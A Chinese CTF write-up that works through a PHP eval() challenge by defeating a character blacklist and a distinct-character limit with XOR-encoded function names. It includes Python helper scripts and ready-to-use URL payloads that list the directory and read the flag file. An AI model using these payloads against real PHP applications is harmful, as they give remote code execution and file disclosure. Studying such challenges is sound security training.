很久没有刷题了,记录自己的刷题。
这题还是很有难度的,消耗了许多时间来进行一个了解。
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
可以看到有两个if语句,我们想要在绕过这两个if语句来进行漏洞执行。
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
第一个if利用正则匹配来过滤一些函数。
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
0x3是十六进制,转换为十进制是3
0xd转换为十进制是13
用来检测字符串的长度
strtolower
函数将这个变量中的内容转换为小写字母。
count_chars
函数它用来统计字符串中每个字符出现的次数。第二个参数 0x3
是一个参数掩码,表示只返回出现的字符。用来忽略重复字符的出现次数。
本地测试帮助理解:
<?php
$string = "Hello, world!";
$result = strlen(count_chars($string, 0x3));
echo $result;
可以看到
Hello, world!
一共有12个字符,但是将三个字母l当作一个来计算,然后返回了数字10。
接下来就可以进行做题了,这种情况并没有过滤^很明显是使用一个异或绕过来进行rce的。
python脚本依旧是找的其他大佬的:
aa='phpinfo'
for i in aa:
print( hex( int(hex(ord(i)),16) ^ 0xff),end=' ')
得到:
0x8f 0x97 0x8f 0x96 0x91 0x99 0x90
将0x改为%然后异或上我们的%ff
payload:
?_=(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();
然后查看到底禁用了哪些函数。
可以看到过滤了许多函数,但是没有过滤掉scandir(),var_dump(),readfile(),print_r()等函数。那么我们就可以利用这些函数来进行rce。
print_r(scandir('.'));
异或进行一个当前目录的打印
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF));
发现不可以,在本地进行一个测试看看为什么没有绕过第二个if。
原来其中出现的字符数目大于了13个我们需要将其进行一个缩减。
可以看到这里面有的字符串为'().;_acdinprst
我们使用python脚本看那些可以被替换掉:
def en(s):
return hex(ord(s) ^ 0xff)[2:]
p = list(set('printrscandir'))
for i in p:
for j in p:
for k in p:
for m in p:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if(j == k or j == m or m == k):
continue
else:
print(i+'=='+j + '^' + k + '^'+m, end='\t')
print(
'{:0>2} => ["{:0>2}","{:0>2}","{:0>2}"]'.format(
en(i), en(j), en(k), en(m)))
break
然后我们挑选几个字符将其替换掉 ,这里我们选n==c^d^i 91 => ["9c","9b","96"],
t==s^c^d 8b => ["8c","9c","9b"],
r==p^c^a 8d => ["8f","9c","9e"],三个字符:
原print_r:
(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
替换print_r:
(%8f%8d%96%9c%8c%a0%8f)^(%ff%ff%ff%9b%9c%ff%9c)^(%ff%ff%ff%96%9b%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff)
就是一个个对应替换,应该不算比较难以理解吧。
替换scandir:
(%8c%9c%9e%9c%9b%96%9e)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff)
那么接下来构造payload即可:
?_=((%8f%9e%96%9c%9c%a0%9e)^(%ff%9c%ff%9b%9b%ff%9c)^(%ff%8f%ff%96%8c%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9c%9b%96%9e)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)));
可以看到在目录末端有flag的存在,那么我们只要读取文件即可。 readline(end(scandir(.)))来进行读取。
n==c^d^i 91 => ["9c","9b","96"],
t==s^c^d 8b => ["8c","9c","9b"],
r==p^c^a 8d => ["8f","9c","9e"],
依旧和上面一样的对照脚本进行更换。
readline(end(scandir(.)))异或payload:
?_=((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
得到flag 。
最后一步的文件读取还有
show_source(end(scandir(.)));
大家也可以自己去试试。